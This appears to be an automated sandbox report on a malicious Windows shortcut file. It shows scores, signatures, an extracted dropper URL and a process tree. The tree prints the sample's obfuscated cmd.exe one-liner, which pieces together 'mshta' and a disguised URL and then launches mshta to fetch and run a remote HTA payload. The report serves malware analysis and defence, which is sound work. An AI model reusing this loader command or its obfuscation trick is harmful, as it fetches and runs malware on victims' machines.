Analysis

  • max time kernel
    60s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 16:30

General

  • Target
    DOC-UFEI5I.lnk
  • Size 2KB
  • Sample260821-tz41qscc64
  • SHA256 6aba0cb67b82aa5b4adb066dedeabe4fde8fc2207b50878845944e98bf32979a
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UFEI5I.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set zXYj=o5s6i&&set caUu=g5tako&&set ngOCU=bh8rtz&set mrH=loglzzspifklog&set EB=dbgsflooajxxvohixgcmdbg&set iAn=dataaydxafjxxkhzntbdat&set HTmix=yfm0&&set rr=5shtalz&set wK=oldnwakezkmesegsvsattold&set fWo=tmprmkbdbtstatmp&set il=netugkkdljctkenet&set mcOR=inftiwuhstinf&set FYRF=sysajigvatsmlsys&&set PQech=h@ttps@://@k@-documen@ta@ci@[email protected]@/h@/estag@i@o@[email protected]@hp@?r=3F1@47@7F15@39@8@D@1&&start /b !HTmix:~2,1!!rr:~1,4! !PQech:@=!&&set VZwk=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6472
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:1828

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads